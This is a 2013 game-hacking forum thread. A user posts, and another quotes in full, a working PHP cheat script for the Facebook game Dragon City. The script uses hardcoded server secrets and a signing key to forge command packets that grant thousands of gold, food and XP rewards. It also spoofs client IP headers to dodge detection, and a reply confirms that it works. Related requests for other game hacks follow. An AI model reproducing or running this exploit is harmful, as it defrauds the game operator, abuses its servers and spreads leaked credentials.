You last visited: Today at 00:43
Advertisement
request for all masters specially sir BENOIT !
Discussion on request for all masters specially sir BENOIT ! within the Facebook forum part of the Browsergames category.
07/20/2013, 20:48
#1
elite*gold: 0
Join Date: Dec 2012
Posts: 161
Received Thanks: 36
request for all masters specially sir BENOIT !
please send me or share to me your dragon city/monster legend php script with gems optional. thank you for advance !
07/20/2013, 20:50
#2
elite*gold: 0
Join Date: Jul 2013
Posts: 47
Received Thanks: 1
they won't :/ apparently when it comes to gems no one helps
07/20/2013, 20:51
#3
elite*gold: 0
Join Date: Dec 2012
Posts: 161
Received Thanks: 36
Quote:
Originally Posted by
Mockingjay8
they won't :/ apparently when it comes to gems no one helps
why?
PHP Code:
<?php
if( session_id ()== "" ) session_start ();
function getLevelByXp ( $xp ){
$listlevel =array( 0 , 40 , 60 , 100 , 200 , 350 , 550 , 800 , 1113 , 1504 , 1993 , 2604 , 3368 , 4323 , 5517 , 7010 , 8876 , 11209 , 13659 , 16232 , 18934 , 21771 , 24750 , 27878 , 31162 , 34610 , 38230 , 42031 , 46022 , 50213 , 54614 , 59235 , 64087 , 69182 , 74532 , 80150 , 86049 , 92243 , 98747 , 105576 , 112746 , 120275 , 128180 , 136480 , 145195 , 154346 , 163955 , 174044 , 184637 , 195760 , 207439 , 219702 , 232578 , 246098 , 260294 , 275200 , 290851 , 307285 , 324541 , 342660 , 361685 , 381661 , 402636 , 424660 , 447785 , 472066 , 497561 , 524331 , 552440 , 581954 , 612944 , 645484 , 679651 , 715526 , 756782 , 804226 , 858787 , 921532 , 993689 , 1076670 , 1172098 , 1281840 , 1408043 , 1553176 , 1720079 , 1912017 , 2132746 , 2386584 , 2678498 , 3014199 , 3400255 , 3844219 , 4354778 , 4941921 , 5617135 , 6393631 , 7286601 , 8313517 , 9494470 , 2016089205 );
$j = count ( $listlevel );
for( $i = 0 ; $i < $j ; $i ++){
if( $listlevel [ $i ] > $xp ) break;
}
return $i ;
}
function userkey ( $fbid ) {
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_user_session.php?secret=zoltan3287&id=" . $fbid );
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_NOBODY , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$userkey = curl_exec ( $ch );
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , 'http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_game_config.php?USERID=' . $fbid . '&user_key=' . $userkey . "&language=tr" );
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
curl_setopt ( $ch , CURLOPT_NOBODY , false );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$result = curl_exec ( $ch );
curl_setopt ( $ch , CURLOPT_URL , 'http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID=' . $fbid . '&user_key=' . $userkey . "&language=tr"
);
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
curl_setopt ( $ch , CURLOPT_NOBODY , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
//curl_setopt ( $ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$result = curl_exec ( $ch );
return $userkey ;
}
if(isset( $_POST [ 'flashVersion' ]) and !empty( $_POST [ 'flashVersion' ])) $_SESSION [ 'swversi' ]= $_POST [ 'flashVersion' ];
$versi = "0.5.23a" ;
if(isset( $_SESSION [ 'swversi' ])) $versi = $_SESSION [ 'swversi' ];
$str = '<html><head><title>Dragon City</title></head><body>
<form method="post">
ID FB:<br/>
<input name="fbid" /><br/>
Flash Version:<br/>
<input name="flashVersion" value="' . $versi . '"/><br/>
<select name="mode">
<option value="1">100k xp + 100k gold</option>
<option value="2">100k xp + 100k food</option>
</select><br/>
<input type="submit" value="1D" />
</form>' ;
if(isset( $_POST [ 'fbid' ]) and isset( $_POST [ 'mode' ])){
if(empty( $_POST [ 'fbid' ])) die( 'Please enter your FB ID' );
$fbid = $_POST [ 'fbid' ];
$user = userkey ( $fbid );
$result = komut ( "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID= $fbid &user_key= $user &language=en" );
$payload = explode ( ';' , $result );
$data = json_decode ( $payload [ 1 ], true );
$str .= "AMA LUCENA HACKER !<br/>" ;
$str .= "name: " . $data [ 'playerInfo' ][ 'name' ]. "<br/>" ;
$str .= "cash: " . number_format ( $data [ 'playerInfo' ][ 'cash' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "gold: " . number_format ( $data [ 'playerInfo' ][ 'gold' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "food: " . number_format ( $data [ 'playerInfo' ][ 'food' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "xp: " . number_format ( $data [ 'playerInfo' ][ 'xp' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "------------------------------<br/>" ;
$hcx = '' ;
for( $i = 1 ; $i < 100 ; $i ++)
{
//$hcx.='{"args":[89,25],"number":'.$i.',"cmd":"collect","time":1372771201},';
$hcx .= '{"args":[18],"number":' . $i . ',"cmd":"collect","time":1372771201},' ;
//$hcx.='{"args":[134],"number":'.$i.',"cmd":"collect","time":1372771201},';
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
$hc = substr ( substr ( str_replace ( " " , "" , json_encode ( $hc )), 0 ,- 1 ), 1 );
function arasi ( $a , $b , $data )
{
$x = explode ( $a , $data );
$z = explode ( $b , $x [ 1 ]);
$oh = $z [ 0 ];
if( $x && $z ) { return $oh ; } else { return false ; }
}
function komut2 ( $komut , $num )
{
$data = komutyolla ( $komut , $num );
if( stristr ( $data , 'bad command number: expected' ))
{
$yeninum = arasi ( 'bad command number: expected ' , ',' , $data );
$data = komutyolla ( $komut , $yeninum );
return substr ( $data , 65 );
}
else
{
return substr ( $data , 65 );
}
}
function komutyolla ( $komut , $num )
{
global $fbid , $user ;
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/packet.php?USERID= $fbid &user_key= $user &language=tr" );
curl_setopt ( $ch , CURLOPT_POST , 1 );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , http_build_query (array( "id" => " $fbid " , "data" => hashla ( $komut , $num ))));
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
//curl_setopt($ch, CURLOPT_HTTPHEADER, array("REMOTE_ADDR: ".fakeip(),"X-Client-IP: ".fakeip(),"Client-IP: ".fakeip(),"HTTP_X_FORWARDED_FOR: ".fakeip(),"X-Forwarded-For: ".fakeip()));
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
$data = curl_exec ( $ch );
curl_close ( $ch );
return $data ;
}
function hashla ( $komut , $n )
{
$ar =array( "first_number" => $n , "publishActions" => 0 , "tries" => 1 , "flashVersion" => "0.5.19" , "ts" => time ());
$x = 'RGhXbiy4xEeDnSNX1oBG' ;
$sonkod = str_replace ( " " , "" , str_replace ( '}' , ',' . $komut . '}' , json_encode ( $ar )));
return hash_hmac ( 'sha256' , $sonkod , $x ). ';' . $sonkod ;
}
if(isset( $_POST [ "fbid" ]))
{
$fbid = $_POST [ 'fbid' ];
$user = userkey ( $fbid );
/*
{"commands":[{"args":[1040],"number":1,"cmd":"get_rewarded_dragon","time":1372844166}]}
{"commands":[{"cmd":"assist_receive","number":1,"args":[1],"time":1372539611}]}
*/
if( $_POST [ "mode" ]== 1 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 10001 ; $i ++)
{
/* 3gems (work 1 times)
$hcx.='{"args":[147,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[147],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[134],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[148,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[148],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[134,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[147,"[0,1]"],"number":1,"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[145,"[1,1]"],"number":1,"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[145],"number":1,"cmd":"set_goals","time":1372771201},';
*/
$hcx .= '{"args":[1],"number":' . $i . ',"cmd":"assist_receive","time":1372771201},' ;
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
else if ( $_POST [ "mode" ]== 2 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 10001 ; $i ++)
{
$hcx .= '{"args":[18],"number":' . $i . ',"cmd":"assist_receive","time":1372771201},' ;
// xp:$hcx.='{"args":[3666,1],"number":'.$i.',"cmd":"finish_building","time":1372771201},';
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
else if ( $_POST [ "mode" ]== 3 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 201 ; $i ++)
{
$hcx .= '{"args":[8241,0],"number":' . $i . ',"cmd":"finish_building","time":1372771201},' ;
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
$hc = substr ( substr ( str_replace ( " " , "" , json_encode ( $hc )), 0 ,- 1 ), 1 );
$sucb = json_decode ( komut2 ( $hc , $num ), 1 );
}
else
{
}
$result = komut ( "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID= $fbid &user_key= $user &language=en" );
$payload = explode ( ';' , $result );
$data = json_decode ( $payload [ 1 ], true );
$str .= "DONE !<br/>" ;
$str .= "name: " . $data [ 'playerInfo' ][ 'name' ]. "<br/>" ;
$str .= "cash: " . number_format ( $data [ 'playerInfo' ][ 'cash' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "gold: " . number_format ( $data [ 'playerInfo' ][ 'gold' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "food: " . number_format ( $data [ 'playerInfo' ][ 'food' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "xp: " . number_format ( $data [ 'playerInfo' ][ 'xp' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "------------------------------<br/>" ;
die( " $str </body></html>" );
}else die( " $str </body></html>" );
function fakeip ()
{
return long2ip ( mt_rand ( 0 , 65537 ) * mt_rand ( 0 , 65535 ) );
}
function komut ( $url , $args = false )
{
global $fbid , $user ;
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , $url );
curl_setopt ( $ch , CURLOPT_HTTPHEADER , array( "REMOTE_ADDR: " . fakeip (), "X-Client-IP: " . fakeip (), "Client-IP: " . fakeip (), "HTTP_X_FORWARDED_FOR: " . fakeip (), "X-Forwarded-For: " . fakeip ()));
if( $args )
{
curl_setopt ( $ch , CURLOPT_POST , 1 );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $args );
}
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
$result = curl_exec ( $ch );
curl_close ( $ch );
return $result ;
}
?>
07/20/2013, 20:57
#4
elite*gold: 0
Join Date: Jul 2013
Posts: 47
Received Thanks: 1
Quote:
Originally Posted by
xyza08
why?
PHP Code:
<?php
if( session_id ()== "" ) session_start ();
function getLevelByXp ( $xp ){
$listlevel =array( 0 , 40 , 60 , 100 , 200 , 350 , 550 , 800 , 1113 , 1504 , 1993 , 2604 , 3368 , 4323 , 5517 , 7010 , 8876 , 11209 , 13659 , 16232 , 18934 , 21771 , 24750 , 27878 , 31162 , 34610 , 38230 , 42031 , 46022 , 50213 , 54614 , 59235 , 64087 , 69182 , 74532 , 80150 , 86049 , 92243 , 98747 , 105576 , 112746 , 120275 , 128180 , 136480 , 145195 , 154346 , 163955 , 174044 , 184637 , 195760 , 207439 , 219702 , 232578 , 246098 , 260294 , 275200 , 290851 , 307285 , 324541 , 342660 , 361685 , 381661 , 402636 , 424660 , 447785 , 472066 , 497561 , 524331 , 552440 , 581954 , 612944 , 645484 , 679651 , 715526 , 756782 , 804226 , 858787 , 921532 , 993689 , 1076670 , 1172098 , 1281840 , 1408043 , 1553176 , 1720079 , 1912017 , 2132746 , 2386584 , 2678498 , 3014199 , 3400255 , 3844219 , 4354778 , 4941921 , 5617135 , 6393631 , 7286601 , 8313517 , 9494470 , 2016089205 );
$j = count ( $listlevel );
for( $i = 0 ; $i < $j ; $i ++){
if( $listlevel [ $i ] > $xp ) break;
}
return $i ;
}
function userkey ( $fbid ) {
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_user_session.php?secret=zoltan3287&id=" . $fbid );
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_NOBODY , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$userkey = curl_exec ( $ch );
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , 'http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_game_config.php?USERID=' . $fbid . '&user_key=' . $userkey . "&language=tr" );
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
curl_setopt ( $ch , CURLOPT_NOBODY , false );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$result = curl_exec ( $ch );
curl_setopt ( $ch , CURLOPT_URL , 'http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID=' . $fbid . '&user_key=' . $userkey . "&language=tr"
);
curl_setopt ( $ch , CURLOPT_USERAGENT , "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" );
curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , false );
curl_setopt ( $ch , CURLOPT_HEADER , false );
curl_setopt ( $ch , CURLOPT_NOBODY , false );
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
//curl_setopt ( $ch, CURLOPT_PROXY, "127.0.0.1:8888");
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 5 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 10 );
$result = curl_exec ( $ch );
return $userkey ;
}
if(isset( $_POST [ 'flashVersion' ]) and !empty( $_POST [ 'flashVersion' ])) $_SESSION [ 'swversi' ]= $_POST [ 'flashVersion' ];
$versi = "0.5.23a" ;
if(isset( $_SESSION [ 'swversi' ])) $versi = $_SESSION [ 'swversi' ];
$str = '<html><head><title>Dragon City</title></head><body>
<form method="post">
ID FB:<br/>
<input name="fbid" /><br/>
Flash Version:<br/>
<input name="flashVersion" value="' . $versi . '"/><br/>
<select name="mode">
<option value="1">100k xp + 100k gold</option>
<option value="2">100k xp + 100k food</option>
</select><br/>
<input type="submit" value="1D" />
</form>' ;
if(isset( $_POST [ 'fbid' ]) and isset( $_POST [ 'mode' ])){
if(empty( $_POST [ 'fbid' ])) die( 'Please enter your FB ID' );
$fbid = $_POST [ 'fbid' ];
$user = userkey ( $fbid );
$result = komut ( "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID= $fbid &user_key= $user &language=en" );
$payload = explode ( ';' , $result );
$data = json_decode ( $payload [ 1 ], true );
$str .= "AMA LUCENA HACKER !<br/>" ;
$str .= "name: " . $data [ 'playerInfo' ][ 'name' ]. "<br/>" ;
$str .= "cash: " . number_format ( $data [ 'playerInfo' ][ 'cash' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "gold: " . number_format ( $data [ 'playerInfo' ][ 'gold' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "food: " . number_format ( $data [ 'playerInfo' ][ 'food' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "xp: " . number_format ( $data [ 'playerInfo' ][ 'xp' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "------------------------------<br/>" ;
$hcx = '' ;
for( $i = 1 ; $i < 100 ; $i ++)
{
//$hcx.='{"args":[89,25],"number":'.$i.',"cmd":"collect","time":1372771201},';
$hcx .= '{"args":[18],"number":' . $i . ',"cmd":"collect","time":1372771201},' ;
//$hcx.='{"args":[134],"number":'.$i.',"cmd":"collect","time":1372771201},';
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
$hc = substr ( substr ( str_replace ( " " , "" , json_encode ( $hc )), 0 ,- 1 ), 1 );
function arasi ( $a , $b , $data )
{
$x = explode ( $a , $data );
$z = explode ( $b , $x [ 1 ]);
$oh = $z [ 0 ];
if( $x && $z ) { return $oh ; } else { return false ; }
}
function komut2 ( $komut , $num )
{
$data = komutyolla ( $komut , $num );
if( stristr ( $data , 'bad command number: expected' ))
{
$yeninum = arasi ( 'bad command number: expected ' , ',' , $data );
$data = komutyolla ( $komut , $yeninum );
return substr ( $data , 65 );
}
else
{
return substr ( $data , 65 );
}
}
function komutyolla ( $komut , $num )
{
global $fbid , $user ;
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/packet.php?USERID= $fbid &user_key= $user &language=tr" );
curl_setopt ( $ch , CURLOPT_POST , 1 );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , http_build_query (array( "id" => " $fbid " , "data" => hashla ( $komut , $num ))));
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
//curl_setopt($ch, CURLOPT_HTTPHEADER, array("REMOTE_ADDR: ".fakeip(),"X-Client-IP: ".fakeip(),"Client-IP: ".fakeip(),"HTTP_X_FORWARDED_FOR: ".fakeip(),"X-Forwarded-For: ".fakeip()));
curl_setopt ( $ch , CURLOPT_ENCODING , "gzip" );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
$data = curl_exec ( $ch );
curl_close ( $ch );
return $data ;
}
function hashla ( $komut , $n )
{
$ar =array( "first_number" => $n , "publishActions" => 0 , "tries" => 1 , "flashVersion" => "0.5.19" , "ts" => time ());
$x = 'RGhXbiy4xEeDnSNX1oBG' ;
$sonkod = str_replace ( " " , "" , str_replace ( '}' , ',' . $komut . '}' , json_encode ( $ar )));
return hash_hmac ( 'sha256' , $sonkod , $x ). ';' . $sonkod ;
}
if(isset( $_POST [ "fbid" ]))
{
$fbid = $_POST [ 'fbid' ];
$user = userkey ( $fbid );
/*
{"commands":[{"args":[1040],"number":1,"cmd":"get_rewarded_dragon","time":1372844166}]}
{"commands":[{"cmd":"assist_receive","number":1,"args":[1],"time":1372539611}]}
*/
if( $_POST [ "mode" ]== 1 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 10001 ; $i ++)
{
/* 3gems (work 1 times)
$hcx.='{"args":[147,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[147],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[134],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[148,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[148],"number":'.$i.',"cmd":"complete_goal","time":1372771201},';
$hcx.='{"args":[134,"[0,1]"],"number":'.$i.',"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[147,"[0,1]"],"number":1,"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[145,"[1,1]"],"number":1,"cmd":"set_goals","time":1372771201},';
$hcx.='{"args":[145],"number":1,"cmd":"set_goals","time":1372771201},';
*/
$hcx .= '{"args":[1],"number":' . $i . ',"cmd":"assist_receive","time":1372771201},' ;
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
else if ( $_POST [ "mode" ]== 2 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 10001 ; $i ++)
{
$hcx .= '{"args":[18],"number":' . $i . ',"cmd":"assist_receive","time":1372771201},' ;
// xp:$hcx.='{"args":[3666,1],"number":'.$i.',"cmd":"finish_building","time":1372771201},';
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
else if ( $_POST [ "mode" ]== 3 )
{
unset( $hc , $hcx ); $hcx = '' ;
for( $i = 1 ; $i < 201 ; $i ++)
{
$hcx .= '{"args":[8241,0],"number":' . $i . ',"cmd":"finish_building","time":1372771201},' ;
}
$hcx = substr ( $hcx , 0 ,- 1 );
$hc = '{"commands":[' . $hcx . ']}' ;
$hc = json_decode ( $hc , 1 );
$num = 1 ;
for( $i = 0 ; $i < count ( $hc [ 'commands' ]); $i ++)
{
$hc [ 'commands' ][ $i ][ 'time' ]= time ();
}
}
$hc = substr ( substr ( str_replace ( " " , "" , json_encode ( $hc )), 0 ,- 1 ), 1 );
$sucb = json_decode ( komut2 ( $hc , $num ), 1 );
}
else
{
}
$result = komut ( "http://dynamicdc.socialpointgames.com/dragoncity/web/srv/get_player_info.php?USERID= $fbid &user_key= $user &language=en" );
$payload = explode ( ';' , $result );
$data = json_decode ( $payload [ 1 ], true );
$str .= "DONE !<br/>" ;
$str .= "name: " . $data [ 'playerInfo' ][ 'name' ]. "<br/>" ;
$str .= "cash: " . number_format ( $data [ 'playerInfo' ][ 'cash' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "gold: " . number_format ( $data [ 'playerInfo' ][ 'gold' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "food: " . number_format ( $data [ 'playerInfo' ][ 'food' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "xp: " . number_format ( $data [ 'playerInfo' ][ 'xp' ], 0 , ',' , '.' ). "<br/>" ;
$str .= "------------------------------<br/>" ;
die( " $str </body></html>" );
}else die( " $str </body></html>" );
function fakeip ()
{
return long2ip ( mt_rand ( 0 , 65537 ) * mt_rand ( 0 , 65535 ) );
}
function komut ( $url , $args = false )
{
global $fbid , $user ;
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , $url );
curl_setopt ( $ch , CURLOPT_HTTPHEADER , array( "REMOTE_ADDR: " . fakeip (), "X-Client-IP: " . fakeip (), "Client-IP: " . fakeip (), "HTTP_X_FORWARDED_FOR: " . fakeip (), "X-Forwarded-For: " . fakeip ()));
if( $args )
{
curl_setopt ( $ch , CURLOPT_POST , 1 );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $args );
}
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true );
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");
$result = curl_exec ( $ch );
curl_close ( $ch );
return $result ;
}
?>
how do i use this? sorry i'm a noob when it comes to codes
07/20/2013, 21:03
#5
elite*gold: 0
Join Date: Jul 2013
Posts: 47
Received Thanks: 1
it's working ty but doesn't have gems option :/
07/20/2013, 21:04
#6
elite*gold: 0
Join Date: Dec 2012
Posts: 161
Received Thanks: 36
Quote:
Originally Posted by
Mockingjay8
it's working ty but doesn't have gems option :/
yeh i know
Similar Threads
(REQUEST) Hack Cash Social Empires <Benoit Come Here>
02/27/2013 - Facebook - 0 Replies
(REQUEST) Hack Cash Social Empires , Hack Tools , Hack Admin Panel,Hack :D
Please ! ;)
[REQUEST]Soul Crash Hack sir Benoit
02/08/2013 - Facebook - 2 Replies
Can you do hack here on Soul Crash sir Benoit
request help from the masters
11/23/2012 - SRO Private Server - 0 Replies
hi all ,
i am playing private server silkroad based on VSRO files and i was using mbot & kdbot without problems .
Recently , new client is available and the game files changed from PK.2 to another extension and the client is packed .
mbot dont suuport packed clients . and KDbot can not run because the edxloader can not read the media . i was searching the forum for some help and i found some topic that said the bluefishkey is changed so the bot cannot rad the media
my question here...
[Request] Digimon Masters Online Hack
09/06/2011 - Foreign Games - 9 Replies
Hello.
I`d really appriciate if someone could help me with hacking into Digimon Masters Online (Money,EXP,HP,Energy hack, anyone of those could be useful)
I`m not a skilled hacker and I`ve tried to change values, however they keep changing back :\
So, It can be lovely if someone expirenced will create hacks for Digimon Masters Online! ;D
Thanks alot and I hope you will help me, Sar .
Request for edit pk2 masters
04/24/2009 - SRO Private Server - 2 Replies
please masters of editing pk2 we need a cool media pk for sjsro have the new ip
and thx and i hope someone learn me how to edit pk2 :D and sry for my bad english
All times are GMT +2. The time now is 00:44 .